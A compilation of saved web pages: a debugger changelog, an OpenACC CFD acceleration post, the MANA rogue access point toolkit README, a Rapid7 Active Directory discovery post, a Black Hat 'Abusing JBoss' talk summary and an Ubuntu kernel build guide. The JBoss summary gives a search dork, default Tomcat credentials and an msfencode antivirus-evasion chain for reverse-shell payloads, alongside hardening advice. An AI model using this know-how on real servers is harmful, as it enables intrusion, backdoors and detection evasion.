  * fixed RegView for Wow64
  * added dynamic load of Wow64 APIs \(first step to XP64\)
  * added right click menu in HeapView \(send to HexView\)
  * added right click menu in MemoryView \(send to HexView\)
  * added resizability to the different sub windows
  * added dynamic row calc to stack view \(prepare for dynamic main window\)
  * added own class and thread for disassembler

###  Version 0.1 beta 2:

  * Ported to QT 4.8.4
  * Added possibility to ignore custom exceptions in options dialog
  * Added possibility to reload a default config in options dialog
  * Fixed a bug in the detach function
  * Fixed a crash in CleanWorkSpace
  * Improved Breakpoint Manager

# Accelerating a C++ CFD code with OpenACC | Parallel Forall
**Created:**| _6/4/2014 9:36:18 AM_  
---|---  
**Updated:**| _6/4/2014 9:36:18 AM_  
**Author:**| __  
**Tags:**| _C++ dataflow_  
  

# Accelerating a C++ CFD code with OpenACC

Computational Fluid Dynamics \(CFD\) is a valuable tool to study the behavior
of fluids. Today, many areas of engineering use CFD. For example, the
automotive industry uses CFD to study airflow around cars, and to optimize the
car body shapes to reduce drag and improve fuel efficiency. To get accurate
results in fluid simulation it is necessary to capture complex phenomena such
as turbulence, which requires very accurate models. These complex models
result in very long computing times. In this post I describe how I used
OpenACC to accelerate the ZFS C++ CFD solver with NVIDIA Tesla GPUs.

# The ZFS flow solver

<img src='img/Temp2_461.png' alt='Engine' />

Figure 1: Using ZFS to study fluid flow within an internal combustion engine
with moving pistons and valves.

The C++ flow solver ZFS \(Zonal Flow Solver\) is developed at the Institute of
Aerodynamics at RWTH Aachen, Germany. ZFS solves the unsteady Navier-Stokes
equations for compressible flows on automatically generated hierarchical
Cartesian grids with a fully-conservative second-order-accurate finite-volume
method \[1, 2, 3\]. To integrate the flow equations in time ZFS uses a 5-step
Runge-Kutta method with dual time stepping \[2\]. It imposes boundary
conditions using a ghost-cell method \[4\] that can handle multiple ghost
cells \[5, 6\]. ZFS supports complex moving boundaries which are sharply
discretized using a cut-cell type immersed-boundary method \[1, 2, 7\].

Among other topics, scientists have used ZFS to study the flow within an
internal combustion engine with moving pistons and valves, as Figure 1 shows.
Figure 2 shows how the Lattice-Boltzmann solver in ZFS was used to better
understand airflow within the human nasal cavity.

<img src='img/Temp2_459.png' alt='Figure 2: ZFS has been used to to better
understand airflow within the human nasal cavity.' />

Figure 2: Using ZFS to better understand airflow within the human nasal
cavity.

# Accelerating ZFS with OpenACC

To accelerate ZFS with OpenACC we applied the APOD process: Assess,
Parallelize, Optimize, Deploy. For this process we focused on the test case
3D\_Cube\_MP, which uses finite volume methods to simulate the laminar flow in
a 3D Cube. ZFS has a large code base \(191800 lines of code excluding
comments\) so porting the entire application is a significant effort. However,
a typical usage scenario executes many simulations on variants of a single
input set, and these simulations often only exercise a small fraction of the
code base. Therefore, accelerating the portions of the code relevant for a
single case can be done with reasonable effort which often pays off quickly.
For example, accelerating the relevant portions of the code for our
3D\_Cube\_MP test case took me about 2 weeks of work achieving a speedup of
2.78x on the main loop \(comparing 8 3.0 GHz Intel Xeon E5-2690 v2 CPUs to 8
875 MHz NVIDIA Tesla K40 GPUs\).

ZFS uses MPI to run in parallel on multiple CPU cores and nodes of a CPU
cluster. The OpenACC version of ZFS starts one MPI rank per GPU and scales
across multiple GPUs in a cluster. For brevity and clarity this post only
describes the single-GPU case because the extra work for the multi-GPU case
was minimal.

## Assess

To understand the run-time behavior of ZFS and identify the most time-
consuming parts, I started by profiling the CPU version, using Callgrind \(but
any CPU profiler will do\). To create the profile I executed ZFS with
callgrind, using following command line with the `--fn-skip` option to ignore
initialization.

[code]

    valgrind --tool=callgrind --fn-skip='*initMethods*' --fn-skip='*initSolutionStep*' zfs
[/code]

I used Gprof2Dot to visualize the call-grind profile, using the following
command line. This created the call tree shown in Figure 3.

[code]

    gprof2dot.py -f callgrind -s -n 0.0 -z "ZFSApplication::run_fv()" callgrind.out.12087 | dot -Tpng -o zfs_profile.png
[/code]

<img src='img/Temp2_458.png' alt='Figure 3: The original ZFS call tree (before
OpenACC optimizations).' />

Figure 3: The original ZFS call tree \(before OpenACC optimizations\).

## Parallelize

To expose parallelism I applied the OpenACC `#pragma acc parallel loop`
directive to incrementally accelerate the most time-consuming methods shown in
the profile I obtained in the Assess step. The incremental approach allowed me
to check the results frequently and identify introduced bugs early. However,
the incremental approach has the drawback that all data that is either read or
modified by a method must be copied to the accelerator at the beginning of the
method and copied back to the host at the end.

These copies impact performance significantly, so I used a small input set
until I had accelerated all methods. At that point, I introduced a `#pragma
acc data` region surrounding all the accelerated methods to eliminate
unnecessary data movement. To avoid changing all the previously introduced
data directives on the individual methods, I used the `present_or_copyin` and
`present_or_copyout` \(note: I use the shorthand `pcopy`/`pcopyout`\) clauses
instead of the `copyin`/`copyout` clauses, as the following excerpt shows.

[code]

    #pragma acc data pcopyin( surfaceVars[0:surfaceVarMemory*noSurfaces], orientations[0:noSurfaces], area[0:noSurfaces], factor[0:2*noSurfaces], nghbrCellIds[0:2*noSurfaces], slope[0:noCells*noSlopes] ) pcopyout( fluxes[0:noSurfaces*noVars] )
    {
      #pragma acc parallel loop 
      for( ZFSUint srfcId = 0; srfcId < noSurfaces; srfcId++ ) {
      ...
      }
    }
[/code]

During porting, `cuda-memcheck` was very helpful in identifying incorrectly
specified array slices in the `copy` clauses. An undersized array slice
results in out of bounds access which `cuda-memcheck` can easily identify in
code compiled with debug information.

Most of the methods I accelerated contained for loops with independent loop
iterations so `#pragma acc parallel loop` was enough to accelerate them. But
two of the methods required me to choose different strategies.

### Avoiding Race Conditions

`ZFSFvBlock3D::distributeFluxToCells` adds the flux over the surfaces to the
neighboring cells. The original version looped over all surfaces pushing the
flux to the two adjacent cells. Since each cell has up to 6 surfaces,
executing this in parallel would lead to invalid results.

[code]

    for (ZFSUint srfcId = 0; srfcId < noSurfaces; ++srfcId ) {
      const ZFSUint offset0 = nghbrCellIds[ srfcId*2 ] * noVars;
      const ZFSUint offset1 = nghbrCellIds[ srfcId*2 + 1 ] * noVars;
      const ZFSUint fluxOffset = srfcId * noVars;
      const ZFSFloat *const __restrict flux = fluxes + fluxOffset;
      ZFSFloat *const __restrict rhs0 = rhs + offset0;
      ZFSFloat *const __restrict rhs1 = rhs + offset1;
      for(ZFSUint var = 0; var < noVars; ++var) {
        const ZFSFloat tmp = flux[var];
        rhs0[var] += tmp;
        rhs1[var] -= tmp;
      }
    }
[/code]

To work around the potential race condition I reconstructured the loop to
handle only one orientation and side of a surface at a time, resulting in the
following code.

[code]

    for(ZFSUint side = 0; side < 2; ++side) { // for each surface side one iteration
      const ZFSFloat factor = (side == 0) ? 1.0 : -1.0;
      for(ZFSId d = 0; d < m_spaceDimensions; ++d) { // for each orientation one iteration
        #pragma acc parallel loop 
        for (ZFSUint srfcId = 0; srfcId < noSurfaces; ++srfcId ) {
          if ( orientations[srfcId] == d ) { //this call only handles the orientation d
            const ZFSUint offset = nghbrCellIds[ srfcId*2 + side ] * noVars;
            const ZFSUint fluxOffset = srfcId * noVars;
            const ZFSFloat *const __restrict flux = fluxes + fluxOffset;
            ZFSFloat *const __restrict rhs_s = rhs + offset;
            for(ZFSUint var = 0; var < noVars; ++var) {
              const ZFSFloat tmp = flux[var];
    	  rhs_s[var] += factor*tmp;
    	}
          }
        }
      }
    }
[/code]

`ZFSFvBlock3D::correctMasterCells` gathers the values of so-called small cells
to their master cell. A master cell has multiple associated small cells and a
small cell knows its master cell but not the other way around; it is not
possible to simply loop over the master cells and gather data from associated
small cells. I solved this issue by using atomic memory operations, as in the
following listing.

[code]

    #pragma acc parallel loop collapse(2)
    for( ZFSId s = 0; s < noSmallCells; s++ ) {
      for( ZFSId varId = 0; varId < noVarIds; varId++ ) {
        #pragma acc atomic
        rhs[ masterCellIds[ s ] * noVarIds + varId ] += rhs[ smallCellIds[ s ] * noVarIds + varId ];
        rhs[ smallCellIds[ s ] * noVarIds + varId ] = 0.0;
      }
    }
[/code]

Later profiling revealed that the run time of this method is very small so the
cost of colliding atomics does not affect the overall application performance.

### Unstructured Data Regions

Once I had ported all methods to run on the GPU using OpenACC directives, data
movements between the host and device became unnecessary. To avoid them, I
introduced a data region around the time-stepping loop of ZFS. Because the C++
ZFS code encapsulates all data fields in objects, I could not express this
with `#pragma acc data` directive available since the OpenACC 1.0. It required
OpenACC 2.0 unstructured data regions: `#pragma acc enter data` and `#pragma
acc exit data`.

Optimize

The guided analysis of the NVIDIA Visual Profiler revealed that memory access
pattern affected performance of most kernels generated by the OpenACC
compiler. ZFS uses a data layout optimized for architectures like CPUs with a
large per-core private cache. Figure 4 shows the cell array organization.

<img src='img/Temp2_457.png' alt='Figure 4: Cell array data layout.' />

Figure 4: Cell array data layout.

This Array of Structures \(AoS\) layout leads to poor \(large-stride\) memory
access patterns because for most loops OpenACC launches one GPU thread per
cell as Figure 5 shows \(See How to Access Global Memory Efficiently in CUDA
C/C++ Kernels\).

<img src='img/Temp2_462.png' alt='Figure 5: Array of Structures (AoS) data
layout leads to poor memory access patterns due to the large stride between
threads.' />

Figure 5: Array of Structures \(AoS\) data layout leads to poor memory access
patterns due to the large stride between threads.

It is possible in principle to change the data layout to avoid strided access.
For the most time-consuming method \(`ZFSFvBlock3D::computeSurfaceValues`\), I
evaluated the performance effect of transposing the data to a Structure of
Arrays \(SoA\) layout; this Kernel showed a 2.6x speed-up. Unfortunately,
changing the data layout for the entire ZFS code base was not feasible in the
scope of this project, so I chose an alternative approach. I significantly
reduced the effect of strided memory accesses by using the texture cache and
artificially reducing the occupancy.

### Using the Texture Cache

The Kepler \(GK110\) architecture allows you to use the texture cache for
read-only data without the need for texture references or texture objects. The
instruction that enables this is LDG; it is exposed in CUDA C with the
intrinsic \_\_ldg. An OpenACC compiler may use this instruction if it knows
that a pointer references read-only data and that the pointer cannot alias
with other pointers to the same data. Declare a pointer `const` to tell the
compiler that it references read-only data, and add the \_\_`restrict`
qualifier to guarantee that this is the only pointer to this data in the
current scope. The following excerpt provides an example.

[code]

    const ZFSFloat *const __restrict cells = ...
[/code]

In ZFS, all pointers are already correctly decorated with `const` and
`__restrict` qualifiers.

### Reducing Occupancy

On Kepler up to 2048 Threads can run on a single SMX at full occupancy. ZFS
optimizes its data layout for relatively large private caches, but these 2048
threads compete for only 48KB of texture cache, resulting in low cache hit
rates. By artificially lowering the occupancy I increased the hit rate and the
overall kernel performance. To lower the occupancy I made use of the fact that
a Kepler SMX supports at most 16 simultaneously active blocks. Using only 32
threads per block limits the occupancy to 16\*32/2048 = 25%. OpenACC allows
you to control the block size using the `vector` clause, as shown in the
following listing.

[code]

    #pragma acc parallel loop gang vector(32)
    for( ZFSUint srfcId = 0; srfcId < noSurfaces; srfcId++ ) {
      ...
    }
[/code]

`gang vector(32)` tells the OpenACC compiler to launch enough thread blocks
\(`gang` without argument\) with 32 threads each \(`vector(32)`\) to cover the
iteration space. I experimentally determined the optimal trade-off between
occupancy and cache hit rate.

## Final Results and conclusion

<img src='img/Temp2_460.png' alt='ZFS-perf' />

Figure 6: Performance comparison of the original CPU-only ZFS CFD application
to the OpenACC-accelerated version.

Figure 6 compares the run time of the CPU version of ZFS with the final
OpenACC implementation, resulting in a speed-up of up to 2.78X \(3D Cube MP
2.4M cells\).

OpenACC allows significant acceleration of applications with a large code base
with reasonable effort, and with further optimization work even more speed up
is possible. This work has been carried out in the scope of the NVIDIA
Application Lab @ Jülich.

## Bibliography

\[1\] D. Hartmann, M. Meinke, and W. Schröder. A strictly conservative
Cartesian cut-cell method for compressible viscous flows on adaptive grids.
Computer Methods in Applied Mechanics and Engineering, 200:1038–1052, 2011.

\[2\] D. Hartmann, M. Meinke, and W. Schröder. An Adaptive Multilevel
Multigrid Formulation for Cartesian Hierarchical Grid Methods. Computers &
Fluids, 37:1103–1125, 2008.

\[3\] L. Schneiders, D. Hartmann, M. Meinke, and W. Schröder. An accurate
moving boundary formulation in cut-cell methods. Journal of Computational
Physics, 2012.

\[4\] D. Hartmann, M. Meinke, and W. Schröder. A General Formulation of
Boundary Conditions on Cartesian Cut-Cells for Compressible Viscous Flow. In
19th AIAA Computational Fluid Dynamics, San Antonio, Texas, 22-25 June 2009.
AIAA-2009-3878.

\[5\] C. Günther, D. Hartmann, M. Meinke, and W. Schröder. A level-set based
cut-cell method for flows with complex moving boundaries. In ECCOMAS CFD
Conference, Lisbon, Por- tugal, 14-17 June 2010.

\[6\] C. Günther, D. Hartmann, M. Meinke, and W. Schröder. A level-set based
Cartesian grid method for the simulation of in-cylinder flow. In Notes on
Numerical Fluid Mechanics and Multidisciplinary Design \(NNFM\): New Results
in Numerical and Experimental Fluid Mechanics VIII, Springer, 2012.

\[7\] D. Hartmann, M. Meinke, and W. Schröder. A cartesian cut-cell solver for
compressible flows. Computational Science and High Performance Computing IV,
Note on Numerical Fluid Mechanics and Multidisciplinary Design, 115:363–376,
2011.

# sensepost/mana · GitHub

**Created:**| _8/11/2014 9:32:41 AM_  
---|---  
**Updated:**| _8/11/2014 9:32:41 AM_  
**Author:**| __  
**Tags:**| _wifi mitm_  
  

# sensepost/mana · GitHub

Our mana toolkit for wifi rogue AP attacks and MitM - see hostapd-mana too

JavaScriptPythonOther

_branch:_ master

###  Readme.md

The MANA toolkit by singe & ian de villiers @ sensepost
\(research@sensepost.com\)

A toolkit for rogue access point \(evilAP\) attacks presented at Defcon 22.

This is a placeholder readme until we get more time to write a proper one :\)

It contains:

  * slides - an explanation of what we're doing here
  * run-mana - the controller scripts
  * hostapd-manna - modified hostapd that implements our new karma attacks
  * crackapd - a tool for offloading the cracking of EAP creds to an external tool and re-adding them to the hostapd EAP config \(auto crack 'n add\)
  * sslstrip-hsts - our modifications to LeonardoNVE's & moxie's cool tools
  * apache - the apache vhosts for the noupstream hacks; deploy to /etc/apache2/ and /var/www/ respectivley

# Discovery of assets in Active Directory | Rapid7 Community and Blog
**Created:**| _5/12/2017 1:06:12 PM_  
---|---  
**Updated:**| _5/12/2017 1:06:12 PM_  
**Author:**| __  
**Tags:**| _active directory_  
  

  

# Discovery of assets in Active Directory

Blog Post created by Ken Mizota on May 11, 2017

Many security teams work in a world that they can't fully see, let alone
control. It can be difficult to know how to make meaningful progress in your
vulnerability management program when simply maintaining visibility can be a
struggle. One way to get some leverage is to make wise use of asset discovery.
If you are able to tap into repositories or sources of assets, you stand a
better chance of gaining and maintaining visibility.

Over the years, we've written a thing or two about expanding your ability to
discover assets from wherever they may leave a trace. You might have read
about our vulnerability scanner having the ability to discover assets from
McAfee ePO, or Infoblox DHCP, or even Rapid7's own Project Sonar. Or perhaps
you've scoured the recently redesigned https://help.rapid7.com to learn about
how you may discover assets from AWS or VMware vSphere. If you were a
voracious reader, you may have even tried out Adaptive Security to automate
your response to what you discover, and then you could've started to monitor
the work automated actions do for you.

Today we are pleased to share the availability of asset discovery from Active
Directory.

## Getting started

We've made it simple for you to gain visibility into your catalog of assets as
they reside within Active Directory. In the Administration tab, create a new
Discovery Connection.

<img src='img/Temp2_2305.png' width='560' height='204' />

Next, select Active Directory \(LDAP\). You'll immediately be able to enter in
information to connect to your own Active Directory server.

<img src='img/Temp2_2306.png' width='576' height='570' />

Give your connection a name, enter the hostname of the Active Directory
server, and select a protocol. Both LDAP and LDAPS are supported. Provide a
username and password, and then test your credential. If your credentials are
good to go, you can then move on to creating your Base Query and Search Query.

Your Active Directory is likely tailored to meet the needs and contours of
your organization. We've provided the ability to enter a Base Query to specify
the portion of the AD tree you'd like to import, and a Search query that you
may use to further qualify the computers to discover. Once you've created your
query, you might want to take it for a spin to make sure its working properly.
Try out Preview to see the top 50 results of your query to make sure you've
got it dialed in.

<img src='img/Temp2_2308.png' width='576' height='402' />

Let's refine our search just a bit, to focus on just Exchange servers. I'll
enter a Search Query: \(dnshostname=exch\*\), and perform another quick test.

<img src='img/Temp2_2304.png' width='576' height='408' />

Now that I'm feeling good about this query, I think I'd like to put it to work
for me...

## Simple automation

Did you notice the Consumption Settings in the screenshot above? It looks
pretty familiar to the setup for importing assets from McAfee ePolicy
Orchestrator, and it works in the same manner. Simply enable Consume assets,
and select a site to import into and let the system do the work for you.
You'll see assets populated from Active Directory as soon as the connection is
saved. The time it takes to complete will vary, and will largely be driven by
the time it takes the Active Directory server to respond to the query. Here is
a view of the assets immediately after they've been imported:

<img src='img/Temp2_2307.png' width='576' height='174' />

You'll notice we've also pulled in OS information from Active Directory where
available, so you can create asset groups by the hostname and the OS. Of
course, if you have existing dynamic asset groups, these assets may also be
included.

The Discovery Connection imports assets once a day, maintaining the visibility
you need, while limiting the burden on your Active Directory server. And just
like that, you're on your way to better visibility, with a minimum of effort,
and a great deal of flexibility to match the contours of your world.

All of our innovations are built side-by-side with our customers through the
Rapid7 Voice program. Please contact your Rapid7 CSM or sales representative
if you're interested in helping us make our products better.

Not a customer of ours? Try a free 30- day trial of InsightVM today.

  

# Blackhat Europe: Abusing JBOSS « ©атсн²² \(in\)sесuяitу

**Created:**| _4/15/2010 1:12:14 PM_  
---|---  
**Updated:**| _4/15/2010 1:12:28 PM_  
**Author:**| __  
**Tags:**| _reversing conference-material Java_  
  

## Blackhat Europe: Abusing JBOSS

April 15, 2010 — ChrisJohnRiley

<img src='img/Temp2_1075.png' />

**Abusing JBOSS** _\(Christian Papathanasiou\)_

> Abstract  _\(source:Blackhat.com\)_
> JBoss Application Server is the open source implementation of the Java EE
> suite of services. It’s easy-to-use server architecture and high flexibility
> makes JBoss the ideal choice for users just starting out with J2EE, as well
> as senior architects looking for a customizable middleware platform.
> The pervasiveness of JBoss in enterprise JSP deployments is second to none
> meaning there is an abundance of targets both for the blackhat or the
> pentester alike. JBoss is usually invoked as root/SYSTEM meaning that any
> potential exploitation usually results in immediate super user privileges.
> A tool has been developed that is able to compromise an unprotected JBoss
> instance. The current state of the art in published literature involves
> having the JBoss instance connect back to the attacker to obtain a war file
> that is subsequently deployed. The tool that will be presented at Black Hat
> does this in-situ and ultimately uploads a Metasploit payload resulting in
> interactive command execution on the JBoss instance. On Windows platforms,
> through the Metasploit framework a fully interactive reverse VNC shell can
> also be obtained and shall be demonstrated.
> Depending on the platform that has been exploited and the level of access
> obtained, the tool is able to deploy the Metasploit payload as a persistent
> backdoor in conjunction with the Metasploit framework’s antivirus evasion
> techniques.
> Due to the cross platform nature of the Java language, we are able to
> compromise JBoss instances running on Linux, MacOSX and Windows.
_Talk Abstract –>_Abusing JBoss

 _Speaker Bio –>_Christian Papathanasiou

What is JBOSS ?

JBOSS Application server is an open-source implementation of JAVA EE Suite of
services

JBOSS is used in enterprise JSP deployments and is insecure by default. It is
also often invoked as root/SYSTEM

Typical industries

  * Financial
  * Publishing
  * Gambling
  * Defense

Often overlooked in perimeter hardening policies

Listens on TCP port 8080

Easy to test for presence of JBOSS on this port –> GET /jmx-console

Google dork allinurl:/jmx-console

<img src='img/Temp2_1076.png' width='570' height='444' />

Remote Command Execution on JBOSS

Reference: Red-Team paper \(see links\)

By using a similar method outlined in this paper, it is possible to upload a
Metasploit payload and gain access to the remote server.

BSH Deployment

> The BSH Deployer, or BeanShell Deployer allows you to deploy one-time
> execution scripts or even services in JBoss. Scripts are plain text files
> with a .bsh extension and can even be hot-deployed. This gives you scripting
> access inside the JBoss server.
The BSH script is used to upload a .war file on the remote filesystem. In the
case of this attack a JSP shell is uploaded to give remote file-system. Once
it’s deployed to the JBOSS server, it provides access to the server command-
line.

JBOSS Autopwn

Designed to automate the process of exploiting JBOSS instances.

By uploading a JSP shell it is possible to then run further Metasploit
payloads to connect back to an attackers machine.

As a Metasploit payload is used, the same issues found with AV engines
discovering the payload. It is suggested to use msfencode to avoid detection.

Suggested encryption:

./msfencode -e x86/fnstenv\_mov -c 5 -t raw | ./msfencode -e x86/countdown -c 5 -t raw | ./msfencode -e x86/shikata\_ga\_nai -t raw -c 5 | ./msfencode -e x86/cal l4\_dword\_xor -t exe -c 5 
Demo –> jboss-autopwn \(attacked Linux host – deployed reverse shell\)

Apache Tomcat

> Apache Tomcat is an open source software implementation of the Java Servlet
> and JavaServer Pages technologies. The Java Servlet and JavaServer Pages
> specifications are developed under the Java Community Process.
Much like JBOSS, Tomcat also responds on TCP port 8080

Unlike JBOSS however, Tomcat is secure in it’s default state.

However a number of default username / password combinations exist.

  * tomcat:tomcat
  * both:tomcat
  * role1:tomcat

None of these roles however have the manager role, which is required to logon
to the console. It’s commonly found that one of the default accounts is edited
to be a manager, instead of the suggested method of creating a new account
with complex password.

Once credentials are discovered the process is a lot easier than with JBOSS.

Tomcat Autopwn

Similar in functionality to JBOSS-autopwn.

The tool attempts to check the default username / password combinations to see
if they are permitted to deploy through the management console. If they are, a
JSP shell is uploaded and used to invoke a Metasploit listener.

Securing the JBOSS Management Console

The easiest way to secure the console, is to remove it completely. This can be
achieved by removing the following directories

  * $JBOSS\_HOME/server/all/deploy
  * $JBOSS\_HOME/server/default/deploy

If this is not possible, then the port should be firewalled and restricted to
specific IP’s. A username and password should also be set.

Securing the Tomcat Management Console

As Tomcat is secure out of the box, strict user management should be used to
prevent weak username password combinations from being used. I would also
suggest removing / changing the default users and firewalling the management
console as with the JBOSS system.

Additional Links

  * Talk – Slides
  * Members of Trustwave’s SpiderLabs to Deliver Briefings at Black Hat Europe 2010
  * Hacking JBOSS – nRuns \(PDF\)
  * Carnal0wnage – Hacking Unprotected JBOSS JMX Console Installations
  * Redteam-Pentesting – Bridging the Gap between the Enterprise and You – or – Who’s the JBoss now? \(2009\)
  * \- German Slides \(PDF\)
  * \- German Whitepaper \(PDF\)
  * \- English Whitepaper \(PDF\)

For more information please see the Blackhat Europe website

Posted in Conference, Security. Tags: blackhat, blackhateu, Conference,
hacking, jboss, Security. Leave a Comment »

# KernelTeam/GitKernelBuild - Ubuntu Wiki

**Created:**| _5/9/2010 4:34:51 PM_  
---|---  
**Updated:**| _5/9/2010 4:35:16 PM_  
**Author:**| __  
**Tags:**| _Linux kernel Lab-Setup_  
  

Ubuntu Wiki

Suchen:

  * Log In / Register

  * Ubuntu
  * Community
  * Support
  * Partners
  * Wiki
  * Planet

  * 

  * KernelTeam/GitKernelBuild

  * User Preferences
  * Find Page

  * Geschützte Seite
  * Kommentare
  * Info
  * Dateianhänge
  * Weitere Aktionen: RohformDruckansichtDocbook ausgebenCache löschen-----------------------------------Rechtschreibung prüfenÄhnliche SeitenÜbersichtsKarte-----------------------------------Seite umbenennenSeite kopierenSeite löschen-----------------------------------Meine SeitenAbo für Benutzer-----------------------------------Spam entfernenDiese Revision restaurierenSeiten paketierenSeiten synchronisieren-----------------------------------LadenSpeichern 

  * KernelTeam/GitKernelBuild

Inhaltsverzeichnis

  1. Prerequisites
  2. Kernel Build and Installation
  3. Using Ubuntu Kernel Configuration
  4. Reporting Bugs Upstream

  
---  
Also refer to https://help.ubuntu.com/community/Kernel/Compile for building
Ubuntu kernels.

Many times patches for bugs are committed upstream but have yet to make their
way down to the Ubuntu kernel. It is often helpful if users are able to verify
if the upstream patches do indeed resolve the issue they are witnessing.
Likewise, in the opposite situation, it is useful to know if a bug may still
exist upstream.

The following document should help users build their own kernel from the
upstream mainline kernel to help verify if a bug still exists or not. If a bug
is still present in the upstream kernel, it is encouraged that the bug be
reported to http://bugzilla.kernel.org . The bug submission process for
http://bugzilla.kernel.org is outlined at the end of the document. Please note
that the following steps are targeted towards Ubuntu users and focuses on
building the mainline kernel from the git repository at http://git.kernel.org
.

## Prerequisites

There are a few tools that are necessary in order to build your own
kernel\(s\). The 'git-core' package provides the git revision control system
which will be used to clone the mainline git repository. The 'kernel-package'
provides the make-kpkg utility which automatically build your kernel and
generate the linux-image and linux-header .deb files which can be installed.
You will need to install both of these packages.

[code]

    sudo apt-get install git-core kernel-package fakeroot build-essential ncurses-dev
    
[/code]

## Kernel Build and Installation

  1. Change to the directory where you want to clone the git tree. In this example we will use /home/ubuntu 
     * 
[code]        cd /home/ubuntu

        
[/code]

  2. Clone the mainline kernel git tree. 
     * 
[code]        git clone
git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux-2.6.git

        
[/code]

  3. Change to linux-2.6 directory. 
     * 
[code]        cd linux-2.6

        
[/code]

  4. Copy the kernel config file from your existing system to the kernel tree. 
     * 
[code]        cp /boot/config-`uname -r` .config

        
[/code]

  5. Bring the config file up to date. Answer any questions that get prompted. Unless you know you are interested in a particular feature, accepting the default option by pressing Enter should be a safe choice. 
     * 
[code]        make oldconfig

        
[/code]

  6. \(optional\) If you need to make any kernel config changes, do the following and save your changes when prompted: 
     * 
[code]        make menuconfig

        
[/code]

Note that Ubuntu kernels build with debugging information on, which makes the
resulting kernel modules \(\*.ko files\) much larger than they would otherwise
be \(linux-image\*.deb will be 200-300 MB instead of 20-30 MB\). To turn this
off, go into "Kernel hacking"; then, under "Kernel debugging", turn OFF
"Compile the kernel with debug info". Cf. bug 90283

  7. Clean the kernel source directory. 
     * 
[code]        make-kpkg clean

        
[/code]

  8. Build the linux-image and linux-header .deb files \(CONCURRENCY\_LEVEL can also be set manually to how many CPUs/cores to use to build the kernel\). 
     * 
[code]        CONCURRENCY_LEVEL=`getconf _NPROCESSORS_ONLN` fakeroot make-kpkg
--initrd --append-to-version=-custom kernel_image kernel_headers

        
[/code]

With this command the package names will be something like linux-
image-2.6.24-rc5-custom and linux-headers-2.6.24-rc5-custom, and in that case
the version will be 2.6.24-rc5-custom-10.00.Custom. You may change the string
custom into something else by changing the `--append-to-version` option. You
may also change the default 10.00.Custom into something else by using the
`--revision` option.

  9. Change to one directory level up \(this is where the linux-image and linux-header .deb files were put\) 
     * 
[code]        cd ..

        
[/code]

  10. Now install the .deb files. In this example, the files are linux-image-2.6.24-rc5-custom\_2.6.24-rc5-custom-10.00.Custom\_i386.deb and linux-headers-2.6.24-rc5-custom\_2.6.24-rc5-custom-10.00.Custom\_i386.deb. You may receive warnings about '/lib/firmware/2.6.24-rc5-custom/' - this is expected and will only be problematic if the driver you are trying to test requires firmware. 
     * 
[code]        sudo dpkg -i linux-
image-2.6.24-rc5-custom_2.6.24-rc5-custom-10.00.Custom_i386.deb

        sudo dpkg -i linux-headers-2.6.24-rc5-custom_2.6.24-rc5-custom-10.00.Custom_i386.deb
        
[/code]

  11. You are now ready to boot into your new kernel. Just make sure you select the new kernel when you boot. 
     * 
[code]        sudo reboot

        
[/code]

## Using Ubuntu Kernel Configuration

The basic instructions provided above work well if you are building your own
custom kernel. However, if you want to build a kernel that matches the
official Ubuntu kernel package configuration as much as possible a few extra
steps are needed. Note that if you are simply trying to build the ubuntu
kernel, you should be following the
https://help.ubuntu.com/community/Kernel/Compile guide instead of this one.

  1. Perform steps 1-7 above, use the Ubuntu kernel config in step 4 
  2. Override the kernel-package default packaging scripts with the Ubuntu packaging scripts: 
     * 
[code]        cd /home/ubuntu

        git clone git://kernel.ubuntu.com/ubuntu/ubuntu-lucid.git
        cp -a /usr/share/kernel-package ubuntu-package
        cp ubuntu-lucid/debian/control-scripts/{postinst,postrm,preinst,prerm} ubuntu-package/pkg/image/
        cp ubuntu-lucid/debian/control-scripts/headers-postinst ubuntu-package/pkg/headers/
        
[/code]

  3. Build packages using overlay directory: 
     * 
[code]        CONCURRENCY_LEVEL=`getconf _NPROCESSORS_ONLN` fakeroot make-kpkg
--initrd --append-to-version=-custom --overlay-dir=/home/ubuntu/ubuntu-package
kernel_image kernel_headers

        
[/code]

  4. Perform steps 9-11 above 

Note: The "--overlay-dir" option is only available in Lucid or later. If you
need to build a kernel on a previous distribution, either install a backport
of kernel-package if available, or manually edit /usr/share/kernel-package as
needed.

## Reporting Bugs Upstream

Depending on the phase of the Ubuntu release cycle, the Ubuntu kernel team
will rebase the Ubuntu kernel with the upstream mainline kernel.
Unfortunately, it is sometimes the case that bugs can still exist in the
upstream mainline kernel. The upstream kernel has its own bug tracking system
at http://bugzilla.kernel.org . If you know your bug exists upstream, you
should also report your bug to the upstream kernel bug tracker. It is often
the case that once a bug is escalated upstream there is a quick resolution
through the help and support of the mainline kernel community. Bug reports in
Launchpad can also be set up to monitor bugs reported in other bug tracking
systems. The following steps should help you report your bug upstream and
monitor it in Launchpad:

  1. Read the guide on reporting bugs for the Linux kernel. 
  2. Go to http://bugzilla.kernel.org
  3. Verify your bug does not already exist in the upstream bug tracking system. 
    1. If it does exist, please add any useful information that may be lacking in the current report. 
       * Link your Launchpad report to the upstream kernel bug report \(see step 5\). 
    2. If your bug does not exist in the upstream bug tracker, proceed to the next step. 
  4. Enter your bug report at http://bugzilla.kernel.org/enter\_bug.cgi . Follow the instructions on that page. 
  5. When creating your bug report be sure to \_attach\_ any relevant information. This will usually include: 
    1. the version of the kernel you are running \(uname -r\) 
    2. dmesg output. 
    3. lspci -vvnn output. 
    4. If the bug is about interrupts, then /proc/interrupts is also helpful. 
    5. If a BIOS issue is suspected, dmidecode output is also helpful. 
    6. If the bug is regarding memory oddities, /proc/mtrr info is also helpful. 
    7. Most importantly, if this is a regression, the best information you can provide the kernel developers is the information from doing a git bisect. This will hopefully narrow down the exact patch that is causing the regression. The following link will help you through this process. 
       * http://www.kernel.org/doc/local/git-quick.html\#bisect
  6. After you've reported your bug to the kernel bugzilla, remember to set up your Launchpad bug report to monitor the upstream bugzilla report. 
     * Refer to Watching Another Project for a more detailed step by step process. 

KernelTeam/GitKernelBuild \(zuletzt geändert am 2010-03-24 15:15:49 durch
JohnFlux\)

© 2008 Canonical Ltd. Ubuntu, Kubuntu, Edubuntu, Xubuntu and Canonical are
registered trademarks of Canonical Ltd.  
Feedback — Legal — Credits — Site Map — Powered By the MoinMoin Wiki Engine

# Inspection/Review Tools, Source/Binary Code Static Analyzers

**Created:**| _3/9/2011 11:33:18 AM_  
---|---  
**Updated:**| _3/9/2011 11:33:29 AM_  
**Author:**| __  
**Tags:**| _analysis List static_  
  

## Inspection/Review Tools, Source/Binary Code Static Analyzers

Laatukonsultointi P. Kantelinen Oy  
  

